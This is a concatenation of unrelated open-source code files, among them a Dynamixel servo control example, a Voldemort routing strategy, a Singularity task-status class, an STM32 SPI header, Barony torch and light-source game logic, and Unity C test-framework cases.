@VisibleForTesting public DateTime getCurrentTime(String timeZone) { return Utils.getCurrentTime(timeZone); } }
9,259
361
<gh_stars>100-1000 /******************************************************************************* * Copyright 2017 ROBOTIS CO., LTD. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ /* Author: <NAME> (Leon) */ // // ********* Indirect Address Example ********* // // // Available Dynamixel model on this example : All models using Protocol 2.0 // This example is tested with a Dynamixel PRO 54-200, and an USB2DYNAMIXEL // Be sure that Dynamixel PRO properties are already set as %% ID : 1 / Baudnum : 1 (Baudrate : 57600) // #if defined(__linux__) || defined(__APPLE__) #include <fcntl.h> #include <termios.h> #define STDIN_FILENO 0 #elif defined(_WIN32) || defined(_WIN64) #include <conio.h> #endif #include <stdlib.h> #include <stdio.h> #include "dynamixel_sdk.h" // Uses Dynamixel SDK library // Control table address // Control table address is different in Dynamixel model #define ADDR_PRO_INDIRECTADDRESS_FOR_WRITE 49 // EEPROM region #define ADDR_PRO_INDIRECTADDRESS_FOR_READ 59 // EEPROM region #define ADDR_PRO_TORQUE_ENABLE 562 #define ADDR_PRO_LED_RED 563 #define ADDR_PRO_GOAL_POSITION 596 #define ADDR_PRO_MOVING 610 #define ADDR_PRO_PRESENT_POSITION 611 #define ADDR_PRO_INDIRECTDATA_FOR_WRITE 634 #define ADDR_PRO_INDIRECTDATA_FOR_READ 639 // Data Byte Length #define LEN_PRO_LED_RED 1 #define LEN_PRO_GOAL_POSITION 4 #define LEN_PRO_MOVING 1 #define LEN_PRO_PRESENT_POSITION 4 #define LEN_PRO_INDIRECTDATA_FOR_WRITE 5 #define LEN_PRO_INDIRECTDATA_FOR_READ 5 // Protocol version #define PROTOCOL_VERSION 2.0 // See which protocol version is used in the Dynamixel // Default setting #define DXL_ID 1 // Dynamixel ID: 1 #define BAUDRATE 57600 #define DEVICENAME "/dev/ttyUSB0" // Check which port is being used on your controller // ex) Windows: "COM1" Linux: "/dev/ttyUSB0" Mac: "/dev/tty.usbserial-*" #define TORQUE_ENABLE 1 // Value for enabling the torque #define TORQUE_DISABLE 0 // Value for disabling the torque #define DXL_MINIMUM_POSITION_VALUE -150000 // Dynamixel will rotate between this value #define DXL_MAXIMUM_POSITION_VALUE 150000 // and this value (note that the Dynamixel would not move when the position value is out of movable range. Check e-manual about the range of the Dynamixel you use.) #define DXL_MINIMUM_LED_VALUE 0 // Dynamixel LED will light between this value #define DXL_MAXIMUM_LED_VALUE 255 // and this value #define DXL_MOVING_STATUS_THRESHOLD 20 // Dynamixel moving status threshold #define ESC_ASCII_VALUE 0x1b int getch() { #if defined(__linux__) || defined(__APPLE__) struct termios oldt, newt; int ch; tcgetattr(STDIN_FILENO, &oldt); newt = oldt; newt.c_lflag &= ~(ICANON | ECHO); tcsetattr(STDIN_FILENO, TCSANOW, &newt); ch = getchar(); tcsetattr(STDIN_FILENO, TCSANOW, &oldt); return ch; #elif defined(_WIN32) || defined(_WIN64) return _getch(); #endif } int kbhit(void) { #if defined(__linux__) || defined(__APPLE__) struct termios oldt, newt; int ch; int oldf; tcgetattr(STDIN_FILENO, &oldt); newt = oldt; newt.c_lflag &= ~(ICANON | ECHO); tcsetattr(STDIN_FILENO, TCSANOW, &newt); oldf = fcntl(STDIN_FILENO, F_GETFL, 0); fcntl(STDIN_FILENO, F_SETFL, oldf | O_NONBLOCK); ch = getchar(); tcsetattr(STDIN_FILENO, TCSANOW, &oldt); fcntl(STDIN_FILENO, F_SETFL, oldf); if (ch != EOF) { ungetc(ch, stdin); return 1; } return 0; #elif defined(_WIN32) || defined(_WIN64) return _kbhit(); #endif } int main() { // Initialize PortHandler instance // Set the port path // Get methods and members of PortHandlerLinux or PortHandlerWindows dynamixel::PortHandler *portHandler = dynamixel::PortHandler::getPortHandler(DEVICENAME); // Initialize PacketHandler instance // Set the protocol version // Get methods and members of Protocol1PacketHandler or Protocol2PacketHandler dynamixel::PacketHandler *packetHandler = dynamixel::PacketHandler::getPacketHandler(PROTOCOL_VERSION); // Initialize GroupSyncWrite instance dynamixel::GroupSyncWrite groupSyncWrite(portHandler, packetHandler, ADDR_PRO_INDIRECTDATA_FOR_WRITE, LEN_PRO_INDIRECTDATA_FOR_WRITE); // Initialize Groupsyncread instance dynamixel::GroupSyncRead groupSyncRead(portHandler, packetHandler, ADDR_PRO_INDIRECTDATA_FOR_READ, LEN_PRO_INDIRECTDATA_FOR_READ); int index = 0; int dxl_comm_result = COMM_TX_FAIL; // Communication result bool dxl_addparam_result = false; // addParam result bool dxl_getdata_result = false; // GetParam result int dxl_goal_position[2] = {DXL_MINIMUM_POSITION_VALUE, DXL_MAXIMUM_POSITION_VALUE}; // Goal position uint8_t dxl_error = 0; // Dynamixel error uint8_t dxl_moving = 0; // Dynamixel moving status uint8_t param_indirect_data_for_write[LEN_PRO_INDIRECTDATA_FOR_WRITE]; uint8_t dxl_led_value[2] = {0x00, 0xFF}; // Dynamixel LED value int32_t dxl_present_position = 0; // Present position // Open port if (portHandler->openPort()) { printf("Succeeded to open the port!\n"); } else { printf("Failed to open the port!\n"); printf("Press any key to terminate...\n"); getch(); return 0; } // Set port baudrate if (portHandler->setBaudRate(BAUDRATE)) { printf("Succeeded to change the baudrate!\n"); } else { printf("Failed to change the baudrate!\n"); printf("Press any key to terminate...\n"); getch(); return 0; } // Disable Dynamixel Torque : // Indirect address would not accessible when the torque is already enabled dxl_comm_result = packetHandler->write1ByteTxRx(portHandler, DXL_ID, ADDR_PRO_TORQUE_ENABLE, TORQUE_DISABLE, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } else { printf("DXL has been successfully connected \n"); } // INDIRECTDATA parameter storages replace LED, goal position, present position and moving status storages dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_WRITE + 0, ADDR_PRO_GOAL_POSITION + 0, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_WRITE + 2, ADDR_PRO_GOAL_POSITION + 1, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_WRITE + 4, ADDR_PRO_GOAL_POSITION + 2, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_WRITE + 6, ADDR_PRO_GOAL_POSITION + 3, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_WRITE + 8, ADDR_PRO_LED_RED, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_READ + 0, ADDR_PRO_PRESENT_POSITION + 0, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_READ + 2, ADDR_PRO_PRESENT_POSITION + 1, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_READ + 4, ADDR_PRO_PRESENT_POSITION + 2, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_READ + 6, ADDR_PRO_PRESENT_POSITION + 3, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } dxl_comm_result = packetHandler->write2ByteTxRx(portHandler, DXL_ID, ADDR_PRO_INDIRECTADDRESS_FOR_READ + 8, ADDR_PRO_MOVING, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } // Enable Dynamixel Torque dxl_comm_result = packetHandler->write1ByteTxRx(portHandler, DXL_ID, ADDR_PRO_TORQUE_ENABLE, TORQUE_ENABLE, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } // Add parameter storage for the present position value dxl_addparam_result = groupSyncRead.addParam(DXL_ID); if (dxl_addparam_result != true) { fprintf(stderr, "[ID:%03d] groupSyncRead addparam failed\n", DXL_ID); return 0; } while(1) { printf("Press any key to continue! (or press ESC to quit!)\n"); if (getch() == ESC_ASCII_VALUE) break; // Allocate LED and goal position value into byte array param_indirect_data_for_write[0] = DXL_LOBYTE(DXL_LOWORD(dxl_goal_position[index])); param_indirect_data_for_write[1] = DXL_HIBYTE(DXL_LOWORD(dxl_goal_position[index])); param_indirect_data_for_write[2] = DXL_LOBYTE(DXL_HIWORD(dxl_goal_position[index])); param_indirect_data_for_write[3] = DXL_HIBYTE(DXL_HIWORD(dxl_goal_position[index])); param_indirect_data_for_write[4] = dxl_led_value[index]; // Add values to the Syncwrite storage dxl_addparam_result = groupSyncWrite.addParam(DXL_ID, param_indirect_data_for_write); if (dxl_addparam_result != true) { fprintf(stderr, "[ID:%03d] groupSyncWrite addparam failed\n", DXL_ID); return 0; } // Syncwrite all dxl_comm_result = groupSyncWrite.txPacket(); if (dxl_comm_result != COMM_SUCCESS) printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); // Clear syncwrite parameter storage groupSyncWrite.clearParam(); do { // Syncread present position from indirectdata2 dxl_comm_result = groupSyncRead.txRxPacket(); if (dxl_comm_result != COMM_SUCCESS) printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); // Check if groupsyncread data of Dyanamixel is available dxl_getdata_result = groupSyncRead.isAvailable(DXL_ID, ADDR_PRO_INDIRECTDATA_FOR_READ, LEN_PRO_PRESENT_POSITION); if (dxl_getdata_result != true) { fprintf(stderr, "[ID:%03d] groupSyncRead getdata failed", DXL_ID); return 0; } // Check if groupsyncread data of Dyanamixel is available dxl_getdata_result = groupSyncRead.isAvailable(DXL_ID, ADDR_PRO_INDIRECTDATA_FOR_READ + LEN_PRO_PRESENT_POSITION, LEN_PRO_MOVING); if (dxl_getdata_result != true) { fprintf(stderr, "[ID:%03d] groupSyncRead getdata failed", DXL_ID); return 0; } // Get Dynamixel present position value dxl_present_position = groupSyncRead.getData(DXL_ID, ADDR_PRO_INDIRECTDATA_FOR_READ, LEN_PRO_PRESENT_POSITION); // Get Dynamixel moving status value dxl_moving = groupSyncRead.getData(DXL_ID, ADDR_PRO_INDIRECTDATA_FOR_READ + LEN_PRO_PRESENT_POSITION, LEN_PRO_MOVING); printf("[ID:%03d] GoalPos:%d PresPos:%d IsMoving:%d\n", DXL_ID, dxl_goal_position[index], dxl_present_position, dxl_moving); }while(abs(dxl_goal_position[index] - dxl_present_position) > DXL_MOVING_STATUS_THRESHOLD); // Change goal position if (index == 0) { index = 1; } else { index = 0; } } // Disable Dynamixel Torque dxl_comm_result = packetHandler->write1ByteTxRx(portHandler, DXL_ID, ADDR_PRO_TORQUE_ENABLE, TORQUE_DISABLE, &dxl_error); if (dxl_comm_result != COMM_SUCCESS) { printf("%s\n", packetHandler->getTxRxResult(dxl_comm_result)); } else if (dxl_error != 0) { printf("%s\n", packetHandler->getRxPacketError(dxl_error)); } // Close port portHandler->closePort(); return 0; }
6,374
1,379
/* -*- C++ -*-; c-basic-offset: 4; indent-tabs-mode: nil */ /* * Implementation for SocketStoreClientFactory class. * * Copyright (c) 2009 Webroot Software, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ #include "RoundRobinRoutingStrategy.h" namespace Voldemort { shared_ptr<std::list<shared_ptr<Node> > > RoundRobinRoutingStrategy::routeRequest(const std::string& key) { shared_ptr<std::list<shared_ptr<Node> > > prefList(new std::list<shared_ptr<Node> >()); int clusterSize = cluster->getNodeMap()->size(); int i = 0; while (i < clusterSize) { if (startIterator == cluster->getNodeMap()->end()) { startIterator = cluster->getNodeMap()->begin(); } Node* node = startIterator->second.get(); if (node->isAvailable(clientConfig->getNodeBannageMs())) { prefList->push_back(startIterator->second); ++startIterator; break; } ++startIterator; } return prefList; } using namespace boost; } /* namespace Voldemort */
545
692
package com.hubspot.singularity; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; import com.hubspot.mesos.protos.MesosTaskStatusObject; import java.util.Optional; public class SingularityTaskStatusHolder { private final Optional<MesosTaskStatusObject> taskStatus; private final SingularityTaskId taskId; private final long serverTimestamp; private final String serverId; private final Optional<String> agentId; public SingularityTaskStatusHolder( SingularityTaskId taskId, Optional<MesosTaskStatusObject> taskStatus, long serverTimestamp, String serverId, Optional<String> agentId ) { this(taskId, taskStatus, serverTimestamp, serverId, Optional.empty(), agentId); } @JsonCreator public SingularityTaskStatusHolder( @JsonProperty("taskId") SingularityTaskId taskId, @JsonProperty("taskStatus") Optional<MesosTaskStatusObject> taskStatus, @JsonProperty("serverTimestamp") long serverTimestamp, @JsonProperty("serverId") String serverId, @JsonProperty("slaveId") Optional<String> slaveId, @JsonProperty("agentId") Optional<String> agentId ) { this.taskId = taskId; this.taskStatus = taskStatus; this.serverTimestamp = serverTimestamp; this.serverId = serverId; this.agentId = agentId.isPresent() ? agentId : slaveId; } public Optional<MesosTaskStatusObject> getTaskStatus() { return taskStatus; } public SingularityTaskId getTaskId() { return taskId; } public long getServerTimestamp() { return serverTimestamp; } public String getServerId() { return serverId; } public Optional<String> getAgentId() { return agentId; } @Deprecated public Optional<String> getSlaveId() { return agentId; } @Override public String toString() { return ( "SingularityTaskStatusHolder{" + "taskStatus=" + taskStatus + ", taskId=" + taskId + ", serverTimestamp=" + serverTimestamp + ", serverId='" + serverId + '\'' + ", agentId=" + agentId + '}' ); } }
759
15,337
<filename>saleor/graphql/plugins/tests/conftest.py import pytest @pytest.fixture def staff_api_client_can_manage_plugins(staff_api_client, permission_manage_plugins): staff_api_client.user.user_permissions.add(permission_manage_plugins) return staff_api_client
96
847
/* * spi.h * * Helper functions for STM32F10x SPI interfaces. * * Written & released by <NAME> <<EMAIL>> * * This is free and unencumbered software released into the public domain. * See the file COPYING for more details, or visit <http://unlicense.org>. */ void spi_quiesce(SPI spi); void spi_16bit_frame(SPI spi); void spi_8bit_frame(SPI spi); void spi_xmit16(SPI spi, uint16_t out); uint16_t spi_xchg16(SPI spi, uint16_t out); #define spi_recv16(spi) spi_xchg16(spi, 0xffffu) #define spi_xmit8(spi, x) spi_xmit16(spi, (uint8_t)(x)) #define spi_xchg8(spi, x) (uint8_t)spi_xchg16(spi, (uint8_t)(x)) #define spi_recv8(spi) spi_xchg8(spi, 0xffu) /* * Local variables: * mode: C * c-file-style: "Linux" * c-basic-offset: 4 * tab-width: 4 * indent-tabs-mode: nil * End: */
363
373
/*------------------------------------------------------------------------------- BARONY File: acttorch.cpp Desc: behavior function for torch Copyright 2013-2016 (c) Turning Wheel LLC, all rights reserved. See LICENSE for details. -------------------------------------------------------------------------------*/ #include "main.hpp" #include "game.hpp" #include "stat.hpp" #include "items.hpp" #include "sound.hpp" #include "net.hpp" #include "collision.hpp" #include "player.hpp" #include "interface/interface.hpp" /*------------------------------------------------------------------------------- act* The following function describes an entity behavior. The function takes a pointer to the entity that uses it as an argument. -------------------------------------------------------------------------------*/ #define TORCH_LIGHTING my->skill[0] #define TORCH_FLICKER my->skill[1] #define TORCH_FIRE my->skill[3] bool flickerLights = true; void actTorch(Entity* my) { int i; if ( my->ticks == 1 ) { my->createWorldUITooltip(); } // ambient noises (yeah, torches can make these...) TORCH_FIRE--; if ( TORCH_FIRE <= 0 ) { TORCH_FIRE = 480; playSoundEntityLocal( my, 133, 32 ); } Entity* entity = spawnFlame(my, SPRITE_FLAME); entity->x += .25 * cos(my->yaw); entity->y += .25 * sin(my->yaw); entity->z -= 2.5; entity->flags[GENIUS] = false; entity->setUID(-3); // check wall behind me. (e.g mined or destroyed then remove torch) int checkx = my->x - cos(my->yaw) * 8; checkx = checkx >> 4; int checky = my->y - sin(my->yaw) * 8; checky = checky >> 4; if ( !map.tiles[OBSTACLELAYER + checky * MAPLAYERS + checkx * MAPLAYERS * map.height] ) // wall { my->removeLightField(); list_RemoveNode(my->mynode); return; } // lighting if ( !TORCH_LIGHTING ) { my->light = lightSphereShadow(my->x / 16, my->y / 16, 7, 192); TORCH_LIGHTING = 1; } if ( flickerLights ) { //Torches will never flicker if this setting is disabled. TORCH_FLICKER--; } if (TORCH_FLICKER <= 0) { TORCH_LIGHTING = (TORCH_LIGHTING == 1) + 1; if (TORCH_LIGHTING == 1) { my->removeLightField(); my->light = lightSphereShadow(my->x / 16, my->y / 16, 7, 192); } else { my->removeLightField(); my->light = lightSphereShadow(my->x / 16, my->y / 16, 7, 174); } TORCH_FLICKER = 2 + rand() % 7; } // using if ( multiplayer != CLIENT ) { for (i = 0; i < MAXPLAYERS; i++) { if ( (i == 0 && selectedEntity[0] == my) || (client_selected[i] == my) || (splitscreen && selectedEntity[i] == my) ) { if (inrange[i]) { bool trySalvage = false; if ( static_cast<Uint32>(my->itemAutoSalvageByPlayer) == players[i]->entity->getUID() ) { trySalvage = true; my->itemAutoSalvageByPlayer = 0; // clear interact flag. } Item* item = newItem(TOOL_TORCH, WORN, 0, 1, 0, true, NULL); if ( trySalvage ) { // auto salvage this item, don't pick it up. messagePlayer(i, language[589]); bool salvaged = false; if ( GenericGUI[i].isItemSalvageable(item, i) ) { if ( GenericGUI[i].tinkeringSalvageItem(item, true, i) ) { salvaged = true; } } if ( salvaged ) { if ( players[i] != nullptr && players[i]->entity != nullptr ) { playSoundEntity(players[i]->entity, 35 + rand() % 3, 64); } free(item); /*if ( GenericGUI.tinkeringKitRollIfShouldBreak() ) { GenericGUI.tinkeringKitDegradeOnUse(i); }*/ list_RemoveNode(my->light->node); list_RemoveNode(my->mynode); return; } else { // unable to salvage. free(item); return; } } else { messagePlayer(i, language[589]); list_RemoveNode(my->light->node); list_RemoveNode(my->mynode); itemPickup(i, item); free(item); } return; } } } if ( my->isInteractWithMonster() ) { list_RemoveNode(my->light->node); Entity* monster = uidToEntity(my->interactedByMonster); my->clearMonsterInteract(); if ( monster ) { Item* item = newItem(TOOL_TORCH, WORN, 0, 1, 0, true, NULL); dropItemMonster(item, monster, monster->getStats()); //monster->addItemToMonsterInventory(item); } list_RemoveNode(my->mynode); } } } #define TORCH_LIGHTING my->skill[0] #define TORCH_FLICKER my->skill[1] #define TORCH_FIRE my->skill[3] void actCrystalShard(Entity* my) { int i; if ( my->ticks == 1 ) { my->createWorldUITooltip(); } // ambient noises (yeah, torches can make these...) TORCH_FIRE--; if ( TORCH_FIRE <= 0 ) { TORCH_FIRE = 480; playSoundEntityLocal(my, 133, 32); } Entity* entity = spawnFlame(my, SPRITE_CRYSTALFLAME); entity->x += .25 * cos(my->yaw); entity->y += .25 * sin(my->yaw); entity->z -= 2.5; entity->flags[GENIUS] = false; entity->setUID(-3); // check wall behind me. (e.g mined or destroyed then remove torch) int checkx = my->x - cos(my->yaw) * 8; checkx = checkx >> 4; int checky = my->y - sin(my->yaw) * 8; checky = checky >> 4; if ( !map.tiles[OBSTACLELAYER + checky * MAPLAYERS + checkx * MAPLAYERS * map.height] ) // wall { my->removeLightField(); list_RemoveNode(my->mynode); return; } // lighting if ( !TORCH_LIGHTING ) { my->light = lightSphereShadow(my->x / 16, my->y / 16, 5, 128); TORCH_LIGHTING = 1; } if ( flickerLights ) { //Crystal shards will never flicker if this setting is disabled. TORCH_FLICKER--; } if ( TORCH_FLICKER <= 0 ) { TORCH_LIGHTING = (TORCH_LIGHTING == 1) + 1; if ( TORCH_LIGHTING == 1 ) { my->removeLightField(); my->light = lightSphereShadow(my->x / 16, my->y / 16, 5, 128); } else { my->removeLightField(); my->light = lightSphereShadow(my->x / 16, my->y / 16, 5, 112); } TORCH_FLICKER = 2 + rand() % 7; } // using if ( multiplayer != CLIENT ) { for ( i = 0; i < MAXPLAYERS; i++ ) { if ( (i == 0 && selectedEntity[0] == my) || (client_selected[i] == my) || (splitscreen && selectedEntity[i] == my) ) { if ( inrange[i] ) { bool trySalvage = false; if ( static_cast<Uint32>(my->itemAutoSalvageByPlayer) == players[i]->entity->getUID() ) { trySalvage = true; my->itemAutoSalvageByPlayer = 0; // clear interact flag. } Item* item = newItem(TOOL_CRYSTALSHARD, WORN, 0, 1, 0, true, NULL); if ( trySalvage ) { // auto salvage this item, don't pick it up. messagePlayer(i, language[589]); bool salvaged = false; if ( GenericGUI[i].isItemSalvageable(item, i) ) { if ( GenericGUI[i].tinkeringSalvageItem(item, true, i) ) { salvaged = true; } } if ( salvaged ) { if ( players[i] != nullptr && players[i]->entity != nullptr ) { playSoundEntity(players[i]->entity, 35 + rand() % 3, 64); } free(item); /*if ( GenericGUI.tinkeringKitRollIfShouldBreak() ) { GenericGUI.tinkeringKitDegradeOnUse(i); }*/ list_RemoveNode(my->light->node); list_RemoveNode(my->mynode); return; } else { // unable to salvage. free(item); return; } } else { messagePlayer(i, language[589]); list_RemoveNode(my->light->node); list_RemoveNode(my->mynode); itemPickup(i, item); free(item); } return; } } } } } void actLightSource(Entity* my) { if ( !my ) { return; } my->actLightSource(); } #define LIGHTSOURCE_LIGHT skill[8] #define LIGHTSOURCE_FLICKER skill[9] #define LIGHTSOURCE_ENABLED skill[10] void Entity::actLightSource() { if ( multiplayer != CLIENT ) { if ( lightSourceDelay > 0 && lightSourceDelayCounter == 0 ) { lightSourceDelayCounter = lightSourceDelay; } } if ( LIGHTSOURCE_ENABLED ) { // lighting if ( !LIGHTSOURCE_LIGHT ) { light = lightSphereShadow(x / 16, y / 16, lightSourceRadius, lightSourceBrightness); LIGHTSOURCE_LIGHT = 1; } if ( lightSourceFlicker && flickerLights ) { --LIGHTSOURCE_FLICKER; } else { LIGHTSOURCE_LIGHT = 1; if ( !light ) { light = lightSphereShadow(x / 16, y / 16, lightSourceRadius, lightSourceBrightness); } } if ( LIGHTSOURCE_FLICKER <= 0 ) { LIGHTSOURCE_LIGHT = (LIGHTSOURCE_LIGHT == 1) + 1; if ( LIGHTSOURCE_LIGHT == 1 ) { removeLightField(); light = lightSphereShadow(x / 16, y / 16, lightSourceRadius, lightSourceBrightness); } else { removeLightField(); light = lightSphereShadow(x / 16, y / 16, lightSourceRadius, std::max(lightSourceBrightness - 16, 0)); } LIGHTSOURCE_FLICKER = 2 + rand() % 7; } if ( multiplayer != CLIENT ) { if ( !lightSourceAlwaysOn && (circuit_status == CIRCUIT_OFF && !lightSourceInvertPower) || (circuit_status == CIRCUIT_ON && lightSourceInvertPower == 1) ) { if ( LIGHTSOURCE_ENABLED == 1 && lightSourceLatchOn < 2 + lightSourceInvertPower ) { if ( lightSourceInvertPower == 1 && lightSourceDelayCounter > 0 ) { --lightSourceDelayCounter; if ( lightSourceDelayCounter != 0 ) { return; } } else if ( lightSourceInvertPower == 0 && lightSourceDelay > 0 ) { lightSourceDelayCounter = lightSourceDelay; } LIGHTSOURCE_ENABLED = 0; serverUpdateEntitySkill(this, 10); if ( lightSourceLatchOn > 0 ) { ++lightSourceLatchOn; } } } } } else { removeLightField(); if ( multiplayer == CLIENT ) { return; } if ( lightSourceAlwaysOn == 1 || (circuit_status == CIRCUIT_ON && !lightSourceInvertPower) || (circuit_status == CIRCUIT_OFF && lightSourceInvertPower == 1) ) { if ( LIGHTSOURCE_ENABLED == 0 && lightSourceLatchOn < 2 + lightSourceInvertPower ) { if ( lightSourceInvertPower == 0 && lightSourceDelayCounter > 0 ) { --lightSourceDelayCounter; if ( lightSourceDelayCounter != 0 ) { return; } } else if ( lightSourceInvertPower == 1 && lightSourceDelay > 0 ) { lightSourceDelayCounter = lightSourceDelay; } LIGHTSOURCE_ENABLED = 1; serverUpdateEntitySkill(this, 10); if ( lightSourceLatchOn > 0 ) { ++lightSourceLatchOn; } } } } }
4,616
7,759
<reponame>MylesLeadbeater/cJSON<gh_stars>1000+ /* ========================================== Unity Project - A Test Framework for C Copyright (c) 2007 <NAME>, <NAME>, <NAME> [Released under MIT License. Please refer to license.txt for details] ========================================== */ #include <setjmp.h> #include <stdio.h> #include "unity.h" void putcharSpy(int c) { (void)putchar(c);} // include passthrough for linking tests #define TEST_CASE(...) #define EXPECT_ABORT_BEGIN \ if (TEST_PROTECT()) \ { #define VERIFY_FAILS_END \ } \ Unity.CurrentTestFailed = (Unity.CurrentTestFailed != 0) ? 0 : 1; \ if (Unity.CurrentTestFailed == 1) { \ SetToOneMeanWeAlreadyCheckedThisGuy = 1; \ UnityPrintNumberUnsigned(Unity.CurrentTestLineNumber); \ UNITY_OUTPUT_CHAR(':'); \ UnityPrint(Unity.CurrentTestName); \ UnityPrint(":FAIL: [[[[ Test Should Have Failed But Did Not ]]]]"); \ UNITY_OUTPUT_CHAR('\n'); \ } #define VERIFY_IGNORES_END \ } \ Unity.CurrentTestFailed = (Unity.CurrentTestIgnored != 0) ? 0 : 1; \ Unity.CurrentTestIgnored = 0; \ if (Unity.CurrentTestFailed == 1) { \ SetToOneMeanWeAlreadyCheckedThisGuy = 1; \ UnityPrintNumberUnsigned(Unity.CurrentTestLineNumber); \ UNITY_OUTPUT_CHAR(':'); \ UnityPrint(Unity.CurrentTestName); \ UnityPrint(":FAIL: [[[[ Test Should Have Ignored But Did Not ]]]]"); \ UNITY_OUTPUT_CHAR('\n'); \ } int SetToOneToFailInTearDown; int SetToOneMeanWeAlreadyCheckedThisGuy; void setUp(void) { SetToOneToFailInTearDown = 0; SetToOneMeanWeAlreadyCheckedThisGuy = 0; } void tearDown(void) { if (SetToOneToFailInTearDown == 1) TEST_FAIL_MESSAGE("<= Failed in tearDown"); if ((SetToOneMeanWeAlreadyCheckedThisGuy == 0) && (Unity.CurrentTestFailed > 0)) { UnityPrint(": [[[[ Test Should Have Passed But Did Not ]]]]"); UNITY_OUTPUT_CHAR('\n'); } } TEST_CASE(0) TEST_CASE(44) TEST_CASE((90)+9) void test_TheseShouldAllPass(int Num) { TEST_ASSERT_TRUE(Num < 100); } TEST_CASE(3) TEST_CASE(77) TEST_CASE( (99) + 1 - (1)) void test_TheseShouldAllFail(int Num) { EXPECT_ABORT_BEGIN TEST_ASSERT_TRUE(Num > 100); VERIFY_FAILS_END } TEST_CASE(1) TEST_CASE(44) TEST_CASE(99) TEST_CASE(98) void test_TheseAreEveryOther(int Num) { if (Num & 1) { EXPECT_ABORT_BEGIN TEST_ASSERT_TRUE(Num > 100); VERIFY_FAILS_END } else { TEST_ASSERT_TRUE(Num < 100); } } void test_NormalPassesStillWork(void) { TEST_ASSERT_TRUE(1); } void test_NormalFailsStillWork(void) { EXPECT_ABORT_BEGIN TEST_ASSERT_TRUE(0); VERIFY_FAILS_END }
1,936
501
